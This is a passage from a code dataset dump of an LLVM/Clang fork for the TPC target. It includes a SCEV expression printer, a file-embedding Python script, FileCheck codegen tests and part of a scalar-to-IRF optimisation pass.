(*BB)->end(); II++)\n if (auto Intrin = dyn_cast<T>(II))\n list.push_back(Intrin);\n return list;\n}\n\nconst SCEV *SCEVParser::computeInitIter(const SCEV *scev, status range) {\n if (const SCEVAddRecExpr *AddRec = dyn_cast<SCEVAddRecExpr>(scev)) {\n if (const SCEVAddRecExpr *ptr1 =\n dyn_cast<SCEVAddRecExpr>(AddRec->getOperand(0))) {\n const SCEV *induction =\n p_SEL->getSCEV(AddRec->getLoop()->getCanonicalInductionVariable());\n if (range == status::min) {\n induction = p_SEL->getConstant(p_SEL->getSignedRangeMin(induction));\n }\n const SCEV *Var = AddRec->getOperand(1);\n return p_SEL->getAddExpr(p_SEL->getMulExpr(induction, Var),\n computeInitIter(ptr1, range));\n }\n if (const SCEVConstant *conValue =\n dyn_cast<SCEVConstant>(AddRec->getOperand(1))) {\n if (range == status::min)\n return p_SEL->getZero(scev->getType());\n return p_SEL->getMinusSCEV(conValue, p_SEL->getConstant(scev->getType(), 1));\n }\n if (const SCEVUnknown *unknown =\n dyn_cast<SCEVUnknown>(AddRec->getOperand(1))) {\n if (range == status::min)\n return p_SEL->getZero(scev->getType());\n return p_SEL->getMinusSCEV(unknown, p_SEL->getConstant(scev->getType(), 1));\n }\n }\n return p_SEL->getZero(scev->getType());\n}\n\nstd::string SCEVParser::printH(const SCEV *scev) {\n string result;\n if (const SCEVAddRecExpr *AddRec = dyn_cast<SCEVAddRecExpr>(scev)) {\n if (!AddRec->getLoop()->getCanonicalInductionVariable()) {\n result = \"NOINDUCATION\";\n } else {\n result = string(\n AddRec->getLoop()->getCanonicalInductionVariable()->getName());\n }\n result =\n \"(\" + result +\n string(\"*\") + printH(AddRec->getOperand(1)) + string(\"+\") +\n printH(AddRec->getOperand(0)) + \")\";\n }\n\n if (const SCEVAddExpr *AddRec = dyn_cast<SCEVAddExpr>(scev)) {\n string resultStr[10];\n unsigned i = 0;\n for (i = 0; i < AddRec->getNumOperands(); i++) {\n resultStr[i] = printH(AddRec->getOperand(i));\n }\n for (i = 0; i < AddRec->getNumOperands() - 1; i++) {\n result += resultStr[i] + string(\"+\");\n }\n\n result += resultStr[i];\n\n return \"(\" + result + \")\";\n }\n if (const SCEVMulExpr *AddRec = dyn_cast<SCEVMulExpr>(scev)) {\n string resultStr[10];\n unsigned i;\n for (i = 0; i < AddRec->getNumOperands(); i++) {\n resultStr[i] = printH(AddRec->getOperand(i));\n }\n for (i = 0; i < AddRec->getNumOperands() - 1; i++) {\n result += resultStr[i] + string(\"*\");\n }\n result += resultStr[i];\n return \"(\" + result + \")\";\n }\n if (const SCEVUDivExpr *divExp = dyn_cast<SCEVUDivExpr>(scev)) {\n string resultStr[10];\n unsigned i = 0;\n resultStr[0] = printH(divExp->getLHS());\n resultStr[1] = printH(divExp->getRHS());\n result += resultStr[i] + string(\"/\") + resultStr[1];\n return \"(\" + result + \")\";\n }\n\n if (const SCEVConstant *conValue = dyn_cast<SCEVConstant>(scev))\n return std::to_string(\n dyn_cast<ConstantInt>(m_SCE.visit(conValue))->getSExtValue());\n if (const SCEVUnknown *unknown = dyn_cast<SCEVUnknown>(scev))\n return m_SCE.visit(unknown)->getName();\n return result;\n}\n\nvector<Constant *> SCEVParser::createAString(std::string input, Type *Int8Ty) {\n vector<Constant *> Init;\n for (unsigned i = 0; i < input.size(); i++) {\n Init.push_back(ConstantInt::get(Int8Ty, input[i]));\n }\n return Init;\n}\n\n\nInstruction *SCEVParser::getValueInducation() {\n if (m_InsVec.size() == 0)\n return nullptr;\n return m_InsVec[0];\n}\n\nvoid SCEVParser::parseExpr(int index, char LoadStore) {\n m_InsVec2.clear();\n m_stepValue.clear();\n searchForValue(p_SCEVP, m_InsVec2);\n computerStepInstruction(p_SCEVP);\n StringRef Name = \"SCEV\";\n const SCEV *init = computeInit(p_SCEVP);\n const SCEV *innerValueMin = computeInitIter(p_SCEVP, status::min);\n const SCEV *innerValueMax = computeInitIter(p_SCEVP, status::max);\n Type *Int8Ty = llvm::Type::getInt8Ty(p_M->getContext());\n ArrayType *ATy;\n std::string MINA = std::string(\"0\");\n std::string MAXA = std::string(\"0\");\n if (m_stepValue.size() != 0) {\n MINA = printH(p_SEL->getSCEV(m_stepValue.back().second));\n MAXA = printH(p_SEL->getSCEV(m_stepValue.back().second));\n }\n\n vector<Constant *> Init =\n createAString(\"MIN-A-\" + std::to_string(index) + \"-\" + LoadStore +\n \"-0:\" + MINA + std::string(\"#\"),\n Int8Ty);\n ATy = ArrayType::get(Int8Ty, Init.size());\n\n llvm::GlobalVariable *GV0 =\n new llvm::GlobalVariable(*p_M, ATy, false, GlobalValue::ExternalLinkage,\n ConstantArray::get(ATy, Init), Name, nullptr);\n\n Init = createAString(\"MAX-A-\" + std::to_string(index) + \"-\" + LoadStore +\n \"-0:\" + MAXA + \"#\",\n Int8Ty);\n ATy = ArrayType::get(Int8Ty, Init.size());\n llvm::GlobalVariable *GV1 =\n new llvm::GlobalVariable(*p_M, ATy, false, GlobalValue::ExternalLinkage,\n ConstantArray::get(ATy, Init), Name, GV0);\n\n Init =\n createAString(\"MIN-B-\" + std::to_string(index) + \"-\" + LoadStore + \"-0:\" +\n printH(p_SEL->getAddExpr(init, innerValueMin)) + \"#\",\n Int8Ty);\n ATy = ArrayType::get(Int8Ty, Init.size());\n\n llvm::GlobalVariable *GV2 =\n new llvm::GlobalVariable(*p_M, ATy, false, GlobalValue::ExternalLinkage,\n ConstantArray::get(ATy, Init), Name, GV1);\n\n Init =\n createAString(\"MAX-B-\" + std::to_string(index) + \"-\" + LoadStore + \"-0:\" +\n printH(p_SEL->getAddExpr(init, innerValueMax)) + \"#\",\n Int8Ty);\n ATy = ArrayType::get(Int8Ty, Init.size());\n llvm::GlobalVariable *GV3 =\n new llvm::GlobalVariable(*p_M, ATy, false, GlobalValue::ExternalLinkage,\n ConstantArray::get(ATy, Init), Name, GV2);\n\n GV0->setSection(\".SCEV\");\n GV1->setSection(\".SCEV\");\n GV2->setSection(\".SCEV\");\n GV3->setSection(\".SCEV\");\n //errs() << \"SCEV Was set\\n\";\n}\n" }, { "alpha_fraction": 0.5400000214576721, "alphanum_fraction": 0.6133333444595337, "avg_line_length": 20.285715103149414, "blob_id": "4492713c08da70524d592db6e1ed8ae04cf712e3", "content_id": "4085a84feea33d8e0eb681404405df33f73eaf52", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 150, "license_type": "permissive", "max_line_length": 53, "num_lines": 7, "path": "/clang/test/RC99/bfloat16/bf16_cpu-04.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %tpc_clang -c -o - %s 2>&1 | FileCheck %s\n\n_BFloat16 BF16_zero_01 = 0;\n// CHECK: error: type _Bfloat16 is not supported\n\nvoid main() {\n}\n\n" }, { "alpha_fraction": 0.4946131110191345, "alphanum_fraction": 0.49853086471557617, "avg_line_length": 25.179487228393555, "blob_id": "b38382239a77082efaa10b42381f38e9e8f41b90", "content_id": "de5eb1b5444e503e2991fa0ca1be31d55df560f8", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1021, "license_type": "permissive", "max_line_length": 58, "num_lines": 39, "path": "/clang/lib/Frontend/embed_file.py", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nimport sys\nimport string\n\nassert len(sys.argv) == 3, \"expected two artguments\"\ndestination = open(sys.argv[1], \"w\")\nsource = open(sys.argv[2], \"r\")\n\nlines = source.readlines()\nat_start = True\nat_eof = False\nfor line in lines:\n for ch in line:\n if not at_start:\n destination.write(',')\n if at_eof:\n destination.write('\\n')\n at_eof = False\n if ch == '\\n':\n destination.write(\"'\\\\n'\")\n elif ch == '\\r':\n destination.write(\"'\\\\r'\")\n elif ch == '\\t':\n destination.write(\"'\\\\t'\")\n elif ch == '\\'':\n destination.write(\"'\\\\\\''\")\n elif ch == '\\\\':\n destination.write(\"'\\\\\\\\'\")\n elif ch in string.printable:\n destination.write(\"'\" + ch + \"'\")\n else:\n destination.write(\"'\\\\x\" + hex(ord(ch)) + \"'\")\n at_start = False\n at_eof = True\nif not at_start:\n destination.write(',')\ndestination.write(\"'\\\\0'\")\ndestination.write('\\n')\n" }, { "alpha_fraction": 0.5664557218551636, "alphanum_fraction": 0.6265822649002075, "avg_line_length": 27.727272033691406, "blob_id": "78f3be94c8108d7e9dce0d0c29cbadf5a2ac02b5", "content_id": "c02c6cb652c5cda9d097727ef0d7edc9502147cc", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 632, "license_type": "permissive", "max_line_length": 78, "num_lines": 22, "path": "/clang/test/RC99/CodeGen/vect-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nvoid main(int dest, int src, unsigned short tanhIntervalShift) {\n short128 absX = *(short128 __local *)src;\n short128 interval = absX >> tanhIntervalShift;\n *(short128 __local *)dest = interval;\n}\n\n// CHECK: ld_l_v %V0, %S1, 0x0\n// CHECK-NEXT: mov.i16\t%S1, 0x0\n// CHECK-NEXT: nop\n// CHECK-NEXT: nop\n// CHECK-NEXT: nop\n// CHECK-NEXT: sub.i16 %S1, %S1, %S2\n// CHECK-NEXT: ash.i16 %V0, %V0, %S1\n// CHECK-NEXT: nop\n// CHECK-NEXT: nop\n// CHECK-NEXT: nop\n// CHECK-NEXT: nop\n// CHECK-NEXT: nop\n// CHECK-NEXT: nop\n// CHECK-NEXT: st_l_v %S0, 0x0, %V0\n" }, { "alpha_fraction": 0.4430604875087738, "alphanum_fraction": 0.5516014099121094, "avg_line_length": 36.46666717529297, "blob_id": "52208675903006607b5aa2b208bc69bfd4c2c353", "content_id": "0972a6e3d23e3ff54a9998ce2778ff5bb3011bb7", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 562, "license_type": "permissive", "max_line_length": 80, "num_lines": 15, "path": "/clang/test/RC99/regression/gaudi-78.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -O1 %s -o - | FileCheck %s\n\nvoid main(tensor out) {\n volatile int64 a[10] = {0};\n}\n\n// CHECK-DAG: mov.i32 [[REGV:%V[0-9]+]], 0x0\n// CHECK-DAG: mov.i32 [[REGS0:%S[0-9]+]], 0x0\n// CHECK-DAG: st_l_v [[REGS0]], 0x0, [[REGV]]\n// CHECK-DAG: mov.i32 [[REGS1:%S[0-9]+]], 0x100\n// CHECK-DAG: st_l_v [[REGS1]], 0x0, [[REGV]]\n// CHECK-DAG: mov.i32 [[REGS2:%S[0-9]+]], 0x200\n// CHECK-DAG: st_l_v [[REGS2]], 0x0, [[REGV]]\n// CHECK-DAG: mov.i32 [[REGS9:%S[0-9]+]], 0x900\n// CHECK-DAG: st_l_v [[REGS9]], 0x0, [[REGV]]\n" }, { "alpha_fraction": 0.6075085401535034, "alphanum_fraction": 0.6331058144569397, "avg_line_length": 33.52941131591797, "blob_id": "d4176616c6ed28b874cad569d3c3c4568f6ff21d", "content_id": "c7ada59be1d1116324e2f3c29eac02a4344ab200", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 586, "license_type": "permissive", "max_line_length": 91, "num_lines": 17, "path": "/clang/test/RC99/CodeGen/const-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 -emit-llvm %s -o - | FileCheck %s\n\n\nvoid main(int dest, int src) {\n const int coeff[] = { 11, 22, 33 };\n int __local *srcptr = (int __local *)src;\n int __local *destptr = (int __local *)dest;\n for (int i = 0; i < 3; ++i) {\n destptr[i] = srcptr[i] * coeff[i];\n }\n}\n\n// NOTE: the first line may absent from gerenated ll file, if debug info will be\n// implemented differently and global symbol will not be needed.\n\n// CHECK: @__const.main.coeff = external dso_local unnamed_addr constant [3 x i32]\n// CHECK-NOT: @main-coeff" }, { "alpha_fraction": 0.5703654289245605, "alphanum_fraction": 0.5858139991760254, "avg_line_length": 31.419301986694336, "blob_id": "8f24d02f51c7ade39efdf8a25aaa4eca604c0a83", "content_id": "94de1722278f7c435b68a9500b6f0bff8c469199", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 19484, "license_type": "permissive", "max_line_length": 100, "num_lines": 601, "path": "/llvm/lib/Target/TPC/ScalarToIRF.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- ScalarToIRF.cpp ----------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n/// This pass replaces constructs like:\n///\n/// \\code\n/// %vecext = extractelement <5 x i32> %1, i32 0\n/// %add = add nsw i32 %vecext, %src\n/// %vecins = insertelement <5 x i32> %1, i32 %add, i32 0\n/// \\endcode\n///\n/// with calls to intrinsic:\n///\n/// \\code\n/// %2 = call <5 x i32> @llvm.tpc.add.mask.v5i32.i32(<5 x i32> %1,\n/// i32 %src, i32 1, i8 2, i32 0, <5 x i32> %1, i1 true, i1 false)\n/// \\endcode\n//===----------------------------------------------------------------------===//\n\n#include \"TPCTargetMachine.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"llvm/IR/Instruction.h\"\n#include \"llvm/IR/InstIterator.h\"\n#include \"llvm/IR/IRBuilder.h\"\n#include \"llvm/IR/LLVMContext.h\"\n#include \"llvm/IR/Module.h\"\n#include \"llvm/IR/PatternMatch.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/PassRegistry.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Transforms/Scalar.h\"\n#include <algorithm>\n#include <set>\n\n#define DEBUG_TYPE \"scalar2irf\"\n\nusing namespace llvm;\nusing namespace PatternMatch;\n\n//\n// Option to enable/disable Scalar to IRF pass.\n//\nstatic cl::opt<bool> EnableScalarToIRF(\"scalar-to-irf\",\n cl::ZeroOrMore, cl::init(true));\n\nstatic bool FoldComparisons = true;\n\n//\n// Returns true if the scalar instruction 'Inst' is an arithmetic instruction,\n// which can be transformed to IRF arithmetic.\n//\nstatic bool canBeIRF(Instruction *Inst) {\n switch (Inst->getOpcode()) {\n default:\n return false;\n case Instruction::Add:\n case Instruction::Mul:\n case Instruction::Or:\n case Instruction::Xor:\n case Instruction::And:\n case Instruction::Shl:\n case Instruction::LShr:\n return true;\n case Instruction::Sub:\n // We can't transform scalar SUB to IRF SUB because the order of operands is opposite.\n // We can do it by extra subtraction: sub_mask(a,b) => 0 -(b - a)\n // Issue was exposed by GAUDI-1677, test was added\n return true;\n case Instruction::ICmp:\n return FoldComparisons;\n }\n return false;\n}\n\n//\n// Returns an IRF intrinsic function, which can replace scalar arithmetic instruction.\n//\nstatic Function *getIRFIntrinsic(Module *M, unsigned OpCode) {\n IntegerType *Int32Ty = Type::getInt32Ty(M->getContext());\n VectorType *Int5Ty = VectorType::get(Int32Ty, 5);\n // IntegerType *BitTy = Type::getInt1Ty(M->getContext());\n\n Function *Func = nullptr;\n switch (OpCode) {\n default:\n return nullptr;\n case Instruction::Add:\n Func = Intrinsic::getDeclaration(M, Intrinsic::tpc_add_mask, { Int5Ty, Int32Ty });\n break;\n // case Instruction::Mul:\n // Func = Intrinsic::getDeclaration(M, Intrinsic::tpc_mul, { Int5Ty, Int5Ty, BitTy });\n // break;\n case Instruction::Sub:\n Func = Intrinsic::getDeclaration(M, Intrinsic::tpc_sub_mask, { Int32Ty, Int5Ty });\n break;\n }\n return Func;\n}\n\nstatic Function *getIRFIntrinsicForCmp(Module *M, ICmpInst *Inst) {\n IntegerType *Int32Ty = Type::getInt32Ty(M->getContext());\n VectorType *Int5Ty = VectorType::get(Int32Ty, 5);\n\n Function *Func = nullptr;\n switch (Inst->getPredicate()) {\n default:\n return nullptr;\n case ICmpInst::Predicate::ICMP_EQ:\n Func = Intrinsic::getDeclaration(M, Intrinsic::tpc_cmp_eq_mask, { Int5Ty, Int5Ty });\n break;\n case ICmpInst::Predicate::ICMP_NE:\n Func = Intrinsic::getDeclaration(M, Intrinsic::tpc_cmp_neq_mask, { Int5Ty, Int5Ty });\n break;\n case ICmpInst::Predicate::ICMP_SLT:\n Func = Intrinsic::getDeclaration(M, Intrinsic::tpc_cmp_less_mask, { Int5Ty, Int5Ty });\n break;\n case ICmpInst::Predicate::ICMP_SLE:\n Func = Intrinsic::getDeclaration(M, Intrinsic::tpc_cmp_leq_mask, { Int5Ty, Int5Ty });\n break;\n case ICmpInst::Predicate::ICMP_SGT:\n Func = Intrinsic::getDeclaration(M, Intrinsic::tpc_cmp_grt_mask, { Int5Ty, Int5Ty });\n break;\n case ICmpInst::Predicate::ICMP_SGE:\n Func = Intrinsic::getDeclaration(M, Intrinsic::tpc_cmp_geq_mask, { Int5Ty, Int5Ty });\n break;\n }\n return Func;\n}\n\nstatic bool isInt5(Value &V) {\n if (auto *VTy = dyn_cast<VectorType>(V.getType()))\n return VTy->getVectorNumElements() == 5 && VTy->getElementType()->isIntegerTy(32);\n return false;\n}\n\nstatic bool areSameInt5Values(Value *V1, Value *V2) {\n if (V1 == V2)\n return true;\n if (auto Ld1 = dyn_cast<LoadInst>(V1))\n if (auto Ld2 = dyn_cast<LoadInst>(V2))\n if (Ld1->getPointerOperand() == Ld2->getPointerOperand())\n return true;\n return false;\n}\n\n// Represents piece of source IR that will undergo transformation.\n//\nclass TransformItem {\n Instruction *Extract;\n Instruction *Operation;\n Instruction *InsertOrExtract;\n\npublic:\n\n TransformItem(ExtractElementInst *Ext, Instruction *Op, InsertElementInst *Ins)\n : Extract(Ext), Operation(Op), InsertOrExtract(Ins) {\n assert(areSameInt5Values(Ext->getOperand(0), Ins->getOperand(0)));\n assert(Operation->getOperand(0) == Ext);\n assert(Ext->getOperand(1) == Ins->getOperand(2));\n assert(Ins->getOperand(1) == Op);\n }\n\n TransformItem(ICmpInst *Cmp, ExtractElementInst *Op1, ExtractElementInst *Op2)\n : Extract(Op1), Operation(Cmp), InsertOrExtract(Op2) {\n assert(Operation->getOperand(0) == Op1);\n assert(Operation->getOperand(1) == Op2);\n assert(Op1->getOperand(1) == Op2->getOperand(1));\n }\n\n bool isCompare() const {\n return isa<ICmpInst>(Operation);\n }\n\n unsigned getOpCode() const {\n return Operation->getOpcode();\n }\n\n Value *getVector() const {\n return Extract->getOperand(0);\n }\n\n Value *getScalar() const {\n return Operation->getOperand(1);\n }\n\n unsigned getIndex() const {\n return cast<ConstantInt>(Extract->getOperand(1))->getZExtValue();\n }\n\n InsertElementInst *getInsert() const {\n return cast<InsertElementInst>(InsertOrExtract);\n }\n\n ExtractElementInst *getExtract() const {\n return cast<ExtractElementInst>(Extract);\n }\n\n ExtractElementInst *getExtract2() const {\n return cast<ExtractElementInst>(InsertOrExtract);\n }\n\n Instruction *getOperation() const {\n return Operation;\n }\n\n bool erase(Instruction *I) {\n if (I->hasNUses(0)) {\n LLVM_DEBUG(dbgs() << \"** Erased: \" << *I << \" \\n\");\n I->eraseFromParent();\n return true;\n } else {\n LLVM_DEBUG(dbgs() << \"** Cannot erase: \" << \"(\" << I->getNumUses() <<\") \" << *I << \" \\n\");\n return false;\n }\n }\n\n bool erase() {\n if (isa<InsertElementInst>(InsertOrExtract))\n return erase(InsertOrExtract) && erase(Operation) && erase(Extract);\n else\n return erase(Operation) && erase(Extract) && erase(InsertOrExtract);\n }\n\n // To determine if two IRF operations can be merged, we need to determine if\n // they operate on the same vector. This function checks if this item uses the\n // same int5 value as the item 'Base', which must be defined in the IR\n // earlier.\n //\n // Example of correct chain:\n //\n // Item1:\n // %vecext = extractelement <5 x i32> %1, i32 0\n // %add = add nsw i32 %vecext, %src\n // %vecins = insertelement <5 x i32> %1, i32 %add, i32 0\n // Item2:\n // %vecext2 = extractelement <5 x i32> %vecins, i32 1\n // %add2 = add nsw i32 %vecext2, %src\n // %vecins2 = insertelement <5 x i32> %vecins, i32 %add2, i32 1\n // Item3:\n // %vecext3 = extractelement <5 x i32> %vecins2, i32 2\n // %add3 = add nsw i32 %vecext3, %src\n // %vecins3 = insertelement <5 x i32> %vecins2, i32 %add2, i32 2\n //\n // If this function is called:\n // \\code\n // Item3->areInTheSameChainAs(Item1)\n // \\endcode\n // it must return true.\n //\n bool isInTheSameChainAs(TransformItem *Base) const {\n // Scan assignment chain looking through InsertElementInst.\n Value *Vector = getVector();\n Value *BaseVector = Base->getVector();\n while (Vector != BaseVector) {\n if (auto Insert = dyn_cast<InsertElementInst>(Vector)) {\n // The source int5 value must have exactly 2 uses, this InsertElementInst\n // and this ExtractElementInst.\n if (!Insert->hasNUses(2))\n return false;\n bool HasExtract = false, HasInsert = false;\n for (auto U : Insert->users())\n if (isa<ExtractElementInst>(U)) {\n if (HasExtract)\n return false;\n HasExtract = true;\n } else if (isa<InsertElementInst>(U)) {\n if (HasInsert)\n return false;\n HasInsert = true;\n } else {\n return false;\n }\n Vector = Insert->getOperand(0);\n } else {\n return false;\n }\n }\n return true;\n }\n\n void dump() {\n#ifndef NDEBUG\n dbgs() << \" Transform :\\n\";\n dbgs() << \" Extract : \" << *Extract << \"\\n\";\n dbgs() << \" Operation : \" << *Operation << \"\\n\";\n if (isa<InsertElementInst>(InsertOrExtract))\n dbgs() << \" Insert : \";\n else\n dbgs() << \" Extract : \";\n dbgs() << *InsertOrExtract << \"\\n\";\n#endif\n }\n};\n\n\n// Describes the transformation that need to be done over IR. May contain\n// several source regions.\n//\nstruct WorkItem {\n SmallVector<TransformItem *, 4> Items;\n unsigned OpCode = 0;\n unsigned Mask = 0;\n\n TransformItem *getLast() {\n assert(!Items.empty());\n return Items.back();\n }\n\n unsigned getOpCode() const {\n assert(!Items.empty());\n return Items.back()->getOpCode();\n }\n\n Value *getScalarValue() const {\n assert(!Items.empty());\n return Items.back()->getScalar();\n }\n\n Value *getVectorValue() const {\n assert(!Items.empty());\n return Items.front()->getVector();\n }\n\n unsigned getMask() const {\n assert(!Items.empty());\n assert(Mask != 0);\n return Mask;\n }\n\n bool mayAdd(const TransformItem *TI) const {\n return Items.empty() ||\n (Items.back()->getOpCode() == TI->getOpCode()) &&\n Items.back()->getScalar() == TI->getScalar() &&\n TI->isInTheSameChainAs(Items.back());\n }\n\n void add(TransformItem *TI) {\n assert(mayAdd(TI));\n if (Items.empty()) {\n LLVM_DEBUG(dbgs() << \"new item\\n\");\n } else {\n LLVM_DEBUG(dbgs() << \"merged to:\\n\"; Items.back()->dump());\n }\n Mask |= (1 << TI->getIndex());\n Items.push_back(TI);\n }\n\n void erase() {\n while (!Items.empty()) {\n TransformItem *TI = Items.pop_back_val();\n TI->erase();\n }\n }\n\n void dump() {\n#ifndef NDEBUG\n dbgs() << \"WorkItem, iMask = \" << Mask << \" :\\n\";\n for (auto TI : Items)\n TI->dump();\n#endif\n }\n};\n\n\nstatic bool runOnBasicBlock(BasicBlock &BB) {\n bool Changed = false;\n SmallVector<TransformItem, 32> ToReplace;\n\n const auto findOperation = [&ToReplace](Instruction *Op)->bool {\n for (auto &TI : ToReplace)\n if (TI.getOperation() == Op)\n return true;\n return false;\n };\n\n for (BasicBlock::iterator I = BB.begin(), E = BB.end(); I != E;) {\n Instruction *Inst = &*I++;\n Value *Vect;\n ConstantInt *Idx;\n if (match(Inst, m_ExtractElement(m_Value(Vect), m_ConstantInt(Idx))) &&\n isInt5(*Vect) &&\n Inst->hasOneUse()) {\n LLVM_DEBUG(dbgs() << \"Analyzing: \" << *Inst << \"\\n\");\n // Look at the user of this vector element. If it is used in an operation\n // which can be folded into IRF instruction, keep it for subsequent\n // transformation.\n for (auto U : Inst->users())\n if (const auto Operation = dyn_cast<Instruction>(U)) {\n if (canBeIRF(Operation))\n if (auto ICmp = dyn_cast<ICmpInst>(Operation)) {\n if (findOperation(Operation))\n continue;\n // If operation is a compare instruction, check if we have\n // IRF+IRF case.\n Value *Operand1 = Operation->getOperand(0);\n Value *Operand2 = Operation->getOperand(1);\n Value *Other = Inst == Operand1 ? Operand2 : Operand1;\n Value *Vect2;\n ConstantInt *Idx2;\n if (match(Other, m_ExtractElement(m_Value(Vect2),\n m_ConstantInt(Idx2))) &&\n Other->hasOneUse() &&\n Idx == Idx2) {\n // This is IRF+IRF case.\n ToReplace.emplace_back(\n TransformItem(cast<ICmpInst>(Operation),\n cast<ExtractElementInst>(Operand1),\n cast<ExtractElementInst>(Operand2)));\n }\n } else if (Operation->hasOneUse()) {\n Value *Vect2;\n Value *Elt2;\n ConstantInt *Idx2;\n Value *InsInst = *Operation->user_begin();\n if (match(InsInst,\n m_InsertElement(m_Value(Vect2),\n m_Value(Elt2),\n m_ConstantInt(Idx2)))) {\n bool VectorsMatch = areSameInt5Values(Vect2, Vect);\n if (VectorsMatch && Idx2 == Idx) {\n // This operation can be folded.\n ToReplace.emplace_back(\n TransformItem(cast<ExtractElementInst>(Inst),\n Operation,\n cast<InsertElementInst>(InsInst)));\n }\n }\n }\n }\n }\n }\n\n // Try to combine items that refer to the same operation on the same vector\n // but for different dimension.\n SmallVector<WorkItem, 32> WorkList;\n for (auto &TI : ToReplace) {\n LLVM_DEBUG(dbgs() << \"** Candidate for replacement: \\n\");\n LLVM_DEBUG(TI.dump());\n bool Merged = false;\n if (!TI.isCompare())\n for (auto &TI2 : WorkList)\n if (TI2.mayAdd(&TI)) {\n TI2.add(&TI);\n Merged = true;\n break;\n }\n if (!Merged) {\n WorkList.emplace_back();\n WorkList.back().add(&TI);\n }\n }\n\n // Do the replacement.\n Module *M = BB.getParent()->getParent();\n for (auto &WI : WorkList) {\n LLVM_DEBUG(WI.dump());\n if (WI.getOpCode() == Instruction::ICmp) {\n TransformItem *TI = WI.getLast();\n IRBuilder<> Builder(TI->getExtract());\n if (Function *Func = getIRFIntrinsicForCmp(M, cast<ICmpInst>(WI.getLast()->getOperation()))) {\n Value *Replacement = Builder.CreateCall(\n Func,\n { TI->getExtract()->getOperand(0),\n TI->getExtract2()->getOperand(0),\n ConstantInt::get(Type::getInt32Ty(BB.getContext()), WI.Mask),\n ConstantInt::get(Type::getInt8Ty(BB.getContext()), TPCII::OpType::INT32),\n ConstantInt::get(Type::getInt32Ty(BB.getContext()), 0),\n UndefValue::get(Type::getInt1Ty(M->getContext())),\n ConstantInt::get(Type::getInt1Ty(BB.getContext()), 1),\n ConstantInt::get(Type::getInt1Ty(BB.getContext()), 0)\n });\n TI->getOperation()->replaceAllUsesWith(Replacement);\n LLVM_DEBUG(dbgs() << \"** Replaced: \" << *TI->getOperation() << '\\n');\n LLVM_DEBUG(dbgs() << \"** with: \" << *Replacement << '\\n');\n WI.erase();\n Changed = true;\n }\n } else {\n Instruction *Replaced = cast<Instruction>(WI.getLast()->getInsert());\n unsigned ReplacementOpCode = WI.getOpCode();\n Value *Scalar = WI.getScalarValue();\n Value *Vector = WI.getVectorValue();\n IRBuilder<> Builder(Replaced);\n Instruction *Replacement = nullptr;\n\n // As arguments of IRF operation go in opposite order (Scalar-Vector), we\n // have to treat subtraction separately.\n if (ReplacementOpCode == Instruction::Sub) {\n // If this is a subtraction of immediate value, try replacing it with\n // addition.\n if (auto CInt = dyn_cast<ConstantInt>(Scalar)) {\n APInt C = CInt->getValue();\n if (!C.isMinSignedValue()) {\n C.negate();\n Scalar = ConstantInt::get(Type::getInt32Ty(BB.getContext()), C);\n ReplacementOpCode = Instruction::Add;\n }\n } else {\n if (Function *Func = getIRFIntrinsic(M, ReplacementOpCode)) {\n Replacement = Builder.CreateCall(\n Func,\n { Scalar,\n WI.getVectorValue(),\n ConstantInt::get(Type::getInt32Ty(BB.getContext()), WI.getMask()),\n ConstantInt::get(Type::getInt8Ty(BB.getContext()), TPCII::OpType::INT32),\n ConstantInt::get(Type::getInt32Ty(BB.getContext()), 0),\n WI.getVectorValue(),\n ConstantInt::get(Type::getInt1Ty(BB.getContext()), 1),\n ConstantInt::get(Type::getInt1Ty(BB.getContext()), 0)\n });\n // When replacing subtraction with IRF operation we swapped arguments.\n // To get correct result we must negate the result.\n Replacement = Builder.CreateCall(\n Func,\n { ConstantInt::get(Type::getInt32Ty(BB.getContext()), 0),\n Replacement,\n ConstantInt::get(Type::getInt32Ty(BB.getContext()), WI.getMask()),\n ConstantInt::get(Type::getInt8Ty(BB.getContext()), TPCII::OpType::INT32),\n ConstantInt::get(Type::getInt32Ty(BB.getContext()), 0),\n Replacement,\n ConstantInt::get(Type::getInt1Ty(BB.getContext()), 1),\n ConstantInt::get(Type::getInt1Ty(BB.getContext()), 0)\n });\n }\n }\n }\n\n if (!Replacement)\n if (Function *Func = getIRFIntrinsic(M, ReplacementOpCode)) {\n Replacement = Builder.CreateCall(\n Func,\n { Vector,\n Scalar,\n ConstantInt::get(Type::getInt32Ty(BB.getContext()), WI.Mask),\n ConstantInt::get(Type::getInt8Ty(BB.getContext()), TPCII::OpType::INT32),\n ConstantInt::get(Type::getInt32Ty(BB.getContext()), 0),\n Vector,\n ConstantInt::get(Type::getInt1Ty(BB.getContext()), 1),\n ConstantInt::get(Type::getInt1Ty(BB.getContext()), 0)\n });\n }\n\n if (Replacement) {\n 